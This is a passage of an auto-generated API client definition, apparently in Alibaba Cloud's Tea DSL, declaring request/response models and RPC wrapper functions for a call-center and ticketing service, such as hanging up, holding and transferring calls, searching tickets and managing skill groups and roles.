return doRPCRequest('HangupCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function hangupCall(request: HangupCallRequest): HangupCallResponse {
var runtime = new Util.RuntimeOptions{};
return hangupCallWithOptions(request, runtime);
}
model GetOutbounNumListRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
}
model GetOutbounNumListResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: {
numGroup?: [
{
type?: int32(name='Type'),
value?: string(name='Value'),
description?: string(name='Description'),
}
](name='NumGroup'),
num?: [
{
type?: int32(name='Type'),
value?: string(name='Value'),
description?: string(name='Description'),
}
](name='Num'),
}(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model GetOutbounNumListResponse = {
headers: map[string]string(name='headers'),
body: GetOutbounNumListResponseBody(name='body'),
}
async function getOutbounNumListWithOptions(request: GetOutbounNumListRequest, runtime: Util.RuntimeOptions): GetOutbounNumListResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetOutbounNumList', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getOutbounNumList(request: GetOutbounNumListRequest): GetOutbounNumListResponse {
var runtime = new Util.RuntimeOptions{};
return getOutbounNumListWithOptions(request, runtime);
}
model CreateTicketWithBizDataRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
templateId?: long(name='TemplateId'),
categoryId?: long(name='CategoryId'),
creatorId?: long(name='CreatorId'),
creatorType?: int32(name='CreatorType'),
creatorName?: string(name='CreatorName'),
memberId?: long(name='MemberId'),
memberName?: string(name='MemberName'),
fromInfo?: string(name='FromInfo'),
priority?: int32(name='Priority'),
carbonCopy?: string(name='CarbonCopy'),
formData?: string(name='FormData'),
bizData?: string(name='BizData'),
}
model CreateTicketWithBizDataResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: long(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model CreateTicketWithBizDataResponse = {
headers: map[string]string(name='headers'),
body: CreateTicketWithBizDataResponseBody(name='body'),
}
async function createTicketWithBizDataWithOptions(request: CreateTicketWithBizDataRequest, runtime: Util.RuntimeOptions): CreateTicketWithBizDataResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('createTicketWithBizData', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createTicketWithBizData(request: CreateTicketWithBizDataRequest): CreateTicketWithBizDataResponse {
var runtime = new Util.RuntimeOptions{};
return createTicketWithBizDataWithOptions(request, runtime);
}
model SearchTicketByPhoneRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
phone?: string(name='Phone'),
templateId?: long(name='TemplateId'),
ticketStatus?: string(name='TicketStatus'),
pageNo?: int32(name='PageNo'),
pageSize?: int32(name='PageSize'),
startTime?: long(name='StartTime'),
endTime?: long(name='EndTime'),
}
model SearchTicketByPhoneResponseBody = {
onePageSize?: int32(name='OnePageSize'),
requestId?: string(name='RequestId'),
message?: string(name='Message'),
totalPage?: int32(name='TotalPage'),
totalResults?: int32(name='TotalResults'),
pageNo?: int32(name='PageNo'),
data?: [
{
memberName?: string(name='MemberName'),
carbonCopy?: string(name='CarbonCopy'),
createTime?: long(name='CreateTime'),
serviceId?: long(name='ServiceId'),
ticketId?: long(name='TicketId'),
priority?: int32(name='Priority'),
creatorId?: long(name='CreatorId'),
formData?: string(name='FormData'),
fromInfo?: string(name='FromInfo'),
modifiedTime?: long(name='ModifiedTime'),
taskStatus?: string(name='TaskStatus'),
creatorName?: string(name='CreatorName'),
categoryId?: long(name='CategoryId'),
creatorType?: int32(name='CreatorType'),
memberId?: long(name='MemberId'),
caseStatus?: int32(name='CaseStatus'),
templateId?: long(name='TemplateId'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model SearchTicketByPhoneResponse = {
headers: map[string]string(name='headers'),
body: SearchTicketByPhoneResponseBody(name='body'),
}
async function searchTicketByPhoneWithOptions(request: SearchTicketByPhoneRequest, runtime: Util.RuntimeOptions): SearchTicketByPhoneResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('SearchTicketByPhone', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function searchTicketByPhone(request: SearchTicketByPhoneRequest): SearchTicketByPhoneResponse {
var runtime = new Util.RuntimeOptions{};
return searchTicketByPhoneWithOptions(request, runtime);
}
model CreateThirdSsoAgentRequest {
clientToken?: string(name='ClientToken', description='clientToken'),
instanceId?: string(name='InstanceId', description='param1'),
clientId?: string(name='ClientId', description='param2'),
accountId?: string(name='AccountId', description='param3'),
accountName?: string(name='AccountName', description='param4'),
displayName?: string(name='DisplayName', description='param5'),
skillGroupIds?: [ long ](name='SkillGroupIds', description='param6'),
roleIds?: [ long ](name='RoleIds', description='param7'),
}
model CreateThirdSsoAgentResponseBody = {
message?: string(name='Message', description='message'),
requestId?: string(name='RequestId', description='requestId'),
httpStatusCode?: long(name='HttpStatusCode', description='httpStatusCode'),
data?: long(name='Data', description='新创建的坐席id'),
code?: string(name='Code', description='code'),
success?: boolean(name='Success', description='success'),
}
model CreateThirdSsoAgentResponse = {
headers: map[string]string(name='headers'),
body: CreateThirdSsoAgentResponseBody(name='body'),
}
async function createThirdSsoAgentWithOptions(request: CreateThirdSsoAgentRequest, runtime: Util.RuntimeOptions): CreateThirdSsoAgentResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateThirdSsoAgent', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createThirdSsoAgent(request: CreateThirdSsoAgentRequest): CreateThirdSsoAgentResponse {
var runtime = new Util.RuntimeOptions{};
return createThirdSsoAgentWithOptions(request, runtime);
}
model CreateEntityIvrRouteRequest {
entityId?: string(name='EntityId'),
entityName?: string(name='EntityName'),
entityBizCode?: string(name='EntityBizCode'),
entityBizCodeType?: string(name='EntityBizCodeType'),
entityRelationNumber?: string(name='EntityRelationNumber'),
departmentId?: string(name='DepartmentId'),
groupId?: long(name='GroupId'),
serviceId?: long(name='ServiceId'),
extInfo?: string(name='ExtInfo'),
instanceId?: string(name='InstanceId'),
}
model CreateEntityIvrRouteResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model CreateEntityIvrRouteResponse = {
headers: map[string]string(name='headers'),
body: CreateEntityIvrRouteResponseBody(name='body'),
}
async function createEntityIvrRouteWithOptions(request: CreateEntityIvrRouteRequest, runtime: Util.RuntimeOptions): CreateEntityIvrRouteResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateEntityIvrRoute', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createEntityIvrRoute(request: CreateEntityIvrRouteRequest): CreateEntityIvrRouteResponse {
var runtime = new Util.RuntimeOptions{};
return createEntityIvrRouteWithOptions(request, runtime);
}
model CloseTicketRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
ticketId?: long(name='TicketId'),
actionItems?: string(name='ActionItems'),
operatorId?: long(name='OperatorId'),
}
model CloseTicketResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model CloseTicketResponse = {
headers: map[string]string(name='headers'),
body: CloseTicketResponseBody(name='body'),
}
async function closeTicketWithOptions(request: CloseTicketRequest, runtime: Util.RuntimeOptions): CloseTicketResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CloseTicket', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function closeTicket(request: CloseTicketRequest): CloseTicketResponse {
var runtime = new Util.RuntimeOptions{};
return closeTicketWithOptions(request, runtime);
}
model HoldCallRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
}
model HoldCallResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model HoldCallResponse = {
headers: map[string]string(name='headers'),
body: HoldCallResponseBody(name='body'),
}
async function holdCallWithOptions(request: HoldCallRequest, runtime: Util.RuntimeOptions): HoldCallResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('HoldCall', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function holdCall(request: HoldCallRequest): HoldCallResponse {
var runtime = new Util.RuntimeOptions{};
return holdCallWithOptions(request, runtime);
}
model QueryRingDetailListRequest {
pageSize?: int32(name='PageSize'),
pageNo?: int32(name='PageNo'),
startDate?: long(name='StartDate'),
endDate?: long(name='EndDate'),
callOutStatus?: string(name='CallOutStatus'),
extra?: string(name='Extra'),
instanceId?: string(name='InstanceId'),
fromPhoneNumList?: map[string]any(name='FromPhoneNumList'),
toPhoneNumList?: map[string]any(name='ToPhoneNumList'),
}
model QueryRingDetailListShrinkRequest {
pageSize?: int32(name='PageSize'),
pageNo?: int32(name='PageNo'),
startDate?: long(name='StartDate'),
endDate?: long(name='EndDate'),
callOutStatus?: string(name='CallOutStatus'),
extra?: string(name='Extra'),
instanceId?: string(name='InstanceId'),
fromPhoneNumListShrink?: string(name='FromPhoneNumList'),
toPhoneNumListShrink?: string(name='ToPhoneNumList'),
}
model QueryRingDetailListResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model QueryRingDetailListResponse = {
headers: map[string]string(name='headers'),
body: QueryRingDetailListResponseBody(name='body'),
}
async function queryRingDetailListWithOptions(tmpReq: QueryRingDetailListRequest, runtime: Util.RuntimeOptions): QueryRingDetailListResponse {
Util.validateModel(tmpReq);
var request = new QueryRingDetailListShrinkRequest{};
OpenApiUtil.convert(tmpReq, request);
if (!Util.isUnset(tmpReq.fromPhoneNumList)) {
request.fromPhoneNumListShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.fromPhoneNumList, 'FromPhoneNumList', 'json');
}
if (!Util.isUnset(tmpReq.toPhoneNumList)) {
request.toPhoneNumListShrink = OpenApiUtil.arrayToStringWithSpecifiedStyle(tmpReq.toPhoneNumList, 'ToPhoneNumList', 'json');
}
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QueryRingDetailList', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function queryRingDetailList(request: QueryRingDetailListRequest): QueryRingDetailListResponse {
var runtime = new Util.RuntimeOptions{};
return queryRingDetailListWithOptions(request, runtime);
}
model SearchTicketByIdRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
ticketId?: long(name='TicketId'),
statusCode?: int32(name='StatusCode'),
}
model SearchTicketByIdResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: {
carbonCopy?: string(name='CarbonCopy'),
memberName?: string(name='MemberName'),
createTime?: long(name='CreateTime'),
serviceId?: long(name='ServiceId'),
ticketId?: long(name='TicketId'),
priority?: int32(name='Priority'),
creatorId?: long(name='CreatorId'),
formData?: string(name='FormData'),
activities?: [
{
activityFormData?: string(name='ActivityFormData'),
activityCode?: string(name='ActivityCode'),
}
](name='Activities'),
activityRecords?: [
{
actionCode?: string(name='ActionCode'),
actionCodeDesc?: string(name='ActionCodeDesc'),
operatorName?: string(name='OperatorName'),
memo?: string(name='Memo'),
gmtCreate?: long(name='GmtCreate'),
}
](name='ActivityRecords'),
fromInfo?: string(name='FromInfo'),
modifiedTime?: long(name='ModifiedTime'),
creatorName?: string(name='CreatorName'),
categoryId?: long(name='CategoryId'),
creatorType?: int32(name='CreatorType'),
memberId?: long(name='MemberId'),
caseStatus?: int32(name='CaseStatus'),
templateId?: long(name='TemplateId'),
ticketName?: string(name='TicketName'),
}(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model SearchTicketByIdResponse = {
headers: map[string]string(name='headers'),
body: SearchTicketByIdResponseBody(name='body'),
}
async function searchTicketByIdWithOptions(request: SearchTicketByIdRequest, runtime: Util.RuntimeOptions): SearchTicketByIdResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('SearchTicketById', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function searchTicketById(request: SearchTicketByIdRequest): SearchTicketByIdResponse {
var runtime = new Util.RuntimeOptions{};
return searchTicketByIdWithOptions(request, runtime);
}
model UpdateSkillGroupRequest {
instanceId?: string(name='InstanceId'),
skillGroupId?: long(name='SkillGroupId'),
skillGroupName?: string(name='SkillGroupName'),
description?: string(name='Description'),
displayName?: string(name='DisplayName'),
clientToken?: string(name='ClientToken'),
channelType?: long(name='ChannelType', description='渠道类型'),
}
model UpdateSkillGroupResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model UpdateSkillGroupResponse = {
headers: map[string]string(name='headers'),
body: UpdateSkillGroupResponseBody(name='body'),
}
async function updateSkillGroupWithOptions(request: UpdateSkillGroupRequest, runtime: Util.RuntimeOptions): UpdateSkillGroupResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateSkillGroup', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateSkillGroup(request: UpdateSkillGroupRequest): UpdateSkillGroupResponse {
var runtime = new Util.RuntimeOptions{};
return updateSkillGroupWithOptions(request, runtime);
}
model QueryServiceConfigRequest {
instanceId?: string(name='InstanceId'),
viewCode?: string(name='ViewCode'),
parameters?: string(name='Parameters'),
}
model QueryServiceConfigResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model QueryServiceConfigResponse = {
headers: map[string]string(name='headers'),
body: QueryServiceConfigResponseBody(name='body'),
}
async function queryServiceConfigWithOptions(request: QueryServiceConfigRequest, runtime: Util.RuntimeOptions): QueryServiceConfigResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('QueryServiceConfig', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function queryServiceConfig(request: QueryServiceConfigRequest): QueryServiceConfigResponse {
var runtime = new Util.RuntimeOptions{};
return queryServiceConfigWithOptions(request, runtime);
}
model DisableRoleRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
roleId?: long(name='RoleId'),
}
model DisableRoleResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model DisableRoleResponse = {
headers: map[string]string(name='headers'),
body: DisableRoleResponseBody(name='body'),
}
async function disableRoleWithOptions(request: DisableRoleRequest, runtime: Util.RuntimeOptions): DisableRoleResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('DisableRole', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function disableRole(request: DisableRoleRequest): DisableRoleResponse {
var runtime = new Util.RuntimeOptions{};
return disableRoleWithOptions(request, runtime);
}
model GetEntityRouteListRequest {
pageSize?: int32(name='PageSize'),
pageNo?: int32(name='PageNo'),
instanceId?: string(name='InstanceId'),
entityRelationNumber?: string(name='EntityRelationNumber'),
entityName?: string(name='EntityName'),
}
model GetEntityRouteListResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: {
pageNo?: int32(name='PageNo'),
pageSize?: int32(name='PageSize'),
total?: long(name='Total'),
entityRouteList?: [
{
entityBizCodeType?: string(name='EntityBizCodeType'),
groupId?: string(name='GroupId'),
entityId?: string(name='EntityId'),
serviceId?: string(name='ServiceId'),
departmentId?: string(name='DepartmentId'),
entityBizCode?: string(name='EntityBizCode'),
uniqueId?: long(name='UniqueId'),
entityName?: string(name='EntityName'),
extInfo?: string(name='ExtInfo'),
entityRelationNumber?: string(name='EntityRelationNumber'),
}
](name='EntityRouteList'),
}(name='Data'),
}
model GetEntityRouteListResponse = {
headers: map[string]string(name='headers'),
body: GetEntityRouteListResponseBody(name='body'),
}
async function getEntityRouteListWithOptions(request: GetEntityRouteListRequest, runtime: Util.RuntimeOptions): GetEntityRouteListResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetEntityRouteList', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getEntityRouteList(request: GetEntityRouteListRequest): GetEntityRouteListResponse {
var runtime = new Util.RuntimeOptions{};
return getEntityRouteListWithOptions(request, runtime);
}
model GetAuthInfoRequest {
instanceId?: string(name='InstanceId'),
foreignId?: string(name='ForeignId'),
appKey?: string(name='AppKey'),
}
model GetAuthInfoResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: {
appName?: string(name='AppName'),
time?: long(name='Time'),
appKey?: string(name='AppKey'),
app?: string(name='App'),
userId?: string(name='UserId'),
code?: string(name='Code'),
sessionId?: string(name='SessionId'),
userName?: string(name='UserName'),
tenantId?: string(name='TenantId'),
}(name='Data'),
}
model GetAuthInfoResponse = {
headers: map[string]string(name='headers'),
body: GetAuthInfoResponseBody(name='body'),
}
async function getAuthInfoWithOptions(request: GetAuthInfoRequest, runtime: Util.RuntimeOptions): GetAuthInfoResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetAuthInfo', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getAuthInfo(request: GetAuthInfoRequest): GetAuthInfoResponse {
var runtime = new Util.RuntimeOptions{};
return getAuthInfoWithOptions(request, runtime);
}
model UpdateRoleRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
roleId?: long(name='RoleId'),
roleName?: string(name='RoleName'),
operator?: string(name='Operator'),
permissionId?: [ long ](name='PermissionId'),
}
model UpdateRoleResponseBody = {
code?: string(name='Code'),
httpStatusCode?: long(name='HttpStatusCode'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model UpdateRoleResponse = {
headers: map[string]string(name='headers'),
body: UpdateRoleResponseBody(name='body'),
}
async function updateRoleWithOptions(request: UpdateRoleRequest, runtime: Util.RuntimeOptions): UpdateRoleResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateRole', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateRole(request: UpdateRoleRequest): UpdateRoleResponse {
var runtime = new Util.RuntimeOptions{};
return updateRoleWithOptions(request, runtime);
}
model GetTicketTemplateSchemaRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
templateId?: long(name='TemplateId'),
}
model GetTicketTemplateSchemaResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: string(name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model GetTicketTemplateSchemaResponse = {
headers: map[string]string(name='headers'),
body: GetTicketTemplateSchemaResponseBody(name='body'),
}
async function getTicketTemplateSchemaWithOptions(request: GetTicketTemplateSchemaRequest, runtime: Util.RuntimeOptions): GetTicketTemplateSchemaResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('GetTicketTemplateSchema', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function getTicketTemplateSchema(request: GetTicketTemplateSchemaRequest): GetTicketTemplateSchemaResponse {
var runtime = new Util.RuntimeOptions{};
return getTicketTemplateSchemaWithOptions(request, runtime);
}
model TransferCallToPhoneRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
caller?: string(name='Caller'),
callee?: string(name='Callee'),
callId?: string(name='CallId'),
jobId?: string(name='JobId'),
connectionId?: string(name='ConnectionId'),
holdConnectionId?: string(name='HoldConnectionId'),
type?: int32(name='Type'),
isSingleTransfer?: boolean(name='IsSingleTransfer'),
callerPhone?: string(name='callerPhone'),
calleePhone?: string(name='calleePhone'),
}
model TransferCallToPhoneResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model TransferCallToPhoneResponse = {
headers: map[string]string(name='headers'),
body: TransferCallToPhoneResponseBody(name='body'),
}
async function transferCallToPhoneWithOptions(request: TransferCallToPhoneRequest, runtime: Util.RuntimeOptions): TransferCallToPhoneResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('TransferCallToPhone', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function transferCallToPhone(request: TransferCallToPhoneRequest): TransferCallToPhoneResponse {
var runtime = new Util.RuntimeOptions{};
return transferCallToPhoneWithOptions(request, runtime);
}
model QuerySkillGroupsRequest {
instanceId?: string(name='InstanceId'),
pageNo?: int32(name='PageNo'),
pageSize?: int32(name='PageSize'),
clientToken?: string(name='ClientToken'),
groupName?: string(name='GroupName'),
groupType?: int32(name='GroupType'),
groupId?: long(name='GroupId'),
}
model QuerySkillGroupsResponseBody = {
onePageSize?: int32(name='OnePageSize'),
totalPage?: int32(name='TotalPage'),
requestId?: string(name='RequestId'),
currentPage?: int32(name='CurrentPage'),
totalResults?: int32(name='TotalResults'),
data?: [
{
displayName?: string(name='DisplayName'),
description?: string(name='Description'),
channelType?: int32(name='ChannelType'),
skillGroupName?: string(name='SkillGroupName'),
skillGroupId?: long(name='SkillGroupId'),
}
](name='Data'),
}
model QuerySkillGroupsResponse = {
headers: map[string]string(name='headers'),
body: QuerySkillGroupsResponseBody(name='body'),
}
async function querySkillGroupsWithOptions(request: QuerySkillGroupsRequest, runtime: Util.RuntimeOptions): QuerySkillGroupsResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('QuerySkillGroups', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function querySkillGroups(request: QuerySkillGroupsRequest): QuerySkillGroupsResponse {
var runtime = new Util.RuntimeOptions{};
return querySkillGroupsWithOptions(request, runtime);
}
model GetEntityRouteRequest {
entityId?: string(name='EntityId'),
uniqueId?: long(name='UniqueId'),
instanceId?: string(name='InstanceId'),
entityName?: string(name='EntityName'),
entityRelationNumber?: string(name='EntityRelationNumber'),
entityBizCode?: string(name='EntityBizCode'),
}
model GetEntityRouteResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
data?: {
entityBizCodeType?: string(name='EntityBizCodeType'),
groupId?: long(name='GroupId'),
entityId?: string(name='EntityId'),
serviceId?: long(name='ServiceId'),
entityBizCode?: string(name='EntityBizCode'),
departmentId?: string(name='DepartmentId'),
uniqueId?: long(name='UniqueId'),
entityName?: string(name='EntityName'),
extInfo?: string(name='ExtInfo'),
entityRelationNumber?: string(name='EntityRelationNumber'),
}(name='Data'),
}
model GetEntityRouteResponse = {
headers: map[string]string(name='headers'),
body: GetEntityRouteResponseBody(name='body'),
}
async function getEntityRouteWithOptions(request: GetEntityRouteRequest, runtime: Util.RuntimeOptions): GetEntityRouteResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('GetEntityRoute', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function getEntityRoute(request: GetEntityRouteRequest): GetEntityRouteResponse {
var runtime = new Util.RuntimeOptions{};
return getEntityRouteWithOptions(request, runtime);
}
model UpdateEntityTagRelationRequest {
entityTagParam?: string(name='EntityTagParam'),
instanceId?: string(name='InstanceId'),
}
model UpdateEntityTagRelationResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
data?: string(name='Data'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model UpdateEntityTagRelationResponse = {
headers: map[string]string(name='headers'),
body: UpdateEntityTagRelationResponseBody(name='body'),
}
async function updateEntityTagRelationWithOptions(request: UpdateEntityTagRelationRequest, runtime: Util.RuntimeOptions): UpdateEntityTagRelationResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('UpdateEntityTagRelation', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function updateEntityTagRelation(request: UpdateEntityTagRelationRequest): UpdateEntityTagRelationResponse {
var runtime = new Util.RuntimeOptions{};
return updateEntityTagRelationWithOptions(request, runtime);
}
model CreateOuterCallCenterDataRequest {
sessionId?: string(name='SessionId'),
interveneTime?: string(name='InterveneTime'),
callType?: string(name='CallType'),
fromPhoneNum?: string(name='FromPhoneNum'),
toPhoneNum?: string(name='ToPhoneNum'),
endReason?: string(name='EndReason'),
userInfo?: string(name='UserInfo'),
recordUrl?: string(name='RecordUrl'),
bizType?: string(name='BizType'),
bizId?: string(name='BizId'),
tenantId?: string(name='TenantId'),
extInfo?: string(name='ExtInfo'),
instanceId?: string(name='InstanceId'),
}
model CreateOuterCallCenterDataResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
code?: string(name='Code'),
success?: boolean(name='Success'),
httpStatusCode?: long(name='HttpStatusCode'),
}
model CreateOuterCallCenterDataResponse = {
headers: map[string]string(name='headers'),
body: CreateOuterCallCenterDataResponseBody(name='body'),
}
async function createOuterCallCenterDataWithOptions(request: CreateOuterCallCenterDataRequest, runtime: Util.RuntimeOptions): CreateOuterCallCenterDataResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('CreateOuterCallCenterData', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function createOuterCallCenterData(request: CreateOuterCallCenterDataRequest): CreateOuterCallCenterDataResponse {
var runtime = new Util.RuntimeOptions{};
return createOuterCallCenterDataWithOptions(request, runtime);
}
model SendOutboundCommandRequest {
instanceId?: string(name='InstanceId'),
accountName?: string(name='AccountName'),
callingNumber?: string(name='CallingNumber'),
calledNumber?: string(name='CalledNumber'),
customerInfo?: string(name='CustomerInfo'),
}
model SendOutboundCommandResponseBody = {
code?: string(name='Code'),
message?: string(name='Message'),
data?: string(name='Data'),
requestId?: string(name='RequestId'),
success?: boolean(name='Success'),
}
model SendOutboundCommandResponse = {
headers: map[string]string(name='headers'),
body: SendOutboundCommandResponseBody(name='body'),
}
async function sendOutboundCommandWithOptions(request: SendOutboundCommandRequest, runtime: Util.RuntimeOptions): SendOutboundCommandResponse {
Util.validateModel(request);
var req = new OpenApi.OpenApiRequest{
body = Util.toMap(request),
};
return doRPCRequest('SendOutboundCommand', '2020-07-02', 'HTTPS', 'POST', 'AK', 'json', req, runtime);
}
async function sendOutboundCommand(request: SendOutboundCommandRequest): SendOutboundCommandResponse {
var runtime = new Util.RuntimeOptions{};
return sendOutboundCommandWithOptions(request, runtime);
}
model ListSkillGroupRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
channelType?: int32(name='ChannelType'),
}
model ListSkillGroupResponseBody = {
message?: string(name='Message'),
requestId?: string(name='RequestId'),
data?: [
{
displayName?: string(name='DisplayName'),
description?: string(name='Description'),
channelType?: int32(name='ChannelType'),
skillGroupId?: long(name='SkillGroupId'),
name?: string(name='Name'),
}
](name='Data'),
code?: string(name='Code'),
success?: boolean(name='Success'),
}
model ListSkillGroupResponse = {
headers: map[string]string(name='headers'),
body: ListSkillGroupResponseBody(name='body'),
}
async function listSkillGroupWithOptions(request: ListSkillGroupRequest, runtime: Util.RuntimeOptions): ListSkillGroupResponse {
Util.validateModel(request);
var query = OpenApiUtil.query(Util.toMap(request));
var req = new OpenApi.OpenApiRequest{
query = query,
};
return doRPCRequest('ListSkillGroup', '2020-07-02', 'HTTPS', 'GET', 'AK', 'json', req, runtime);
}
async function listSkillGroup(request: ListSkillGroupRequest): ListSkillGroupResponse {
var runtime = new Util.RuntimeOptions{};
return listSkillGroupWithOptions(request, runtime);
}
model CreateRoleRequest {
clientToken?: string(name='ClientToken'),
instanceId?: string(name='InstanceId'),
roleName?: string(name='RoleName'),
operator?: string(name='Operator'),
permissionId?: [ long ](name='PermissionId'),
}
model CreateRoleResponseBody = {
httpStatusCode?: long(name='HttpStatusCode'),
data?: long(name='Data'),
requestId?: string(name='RequestId'),
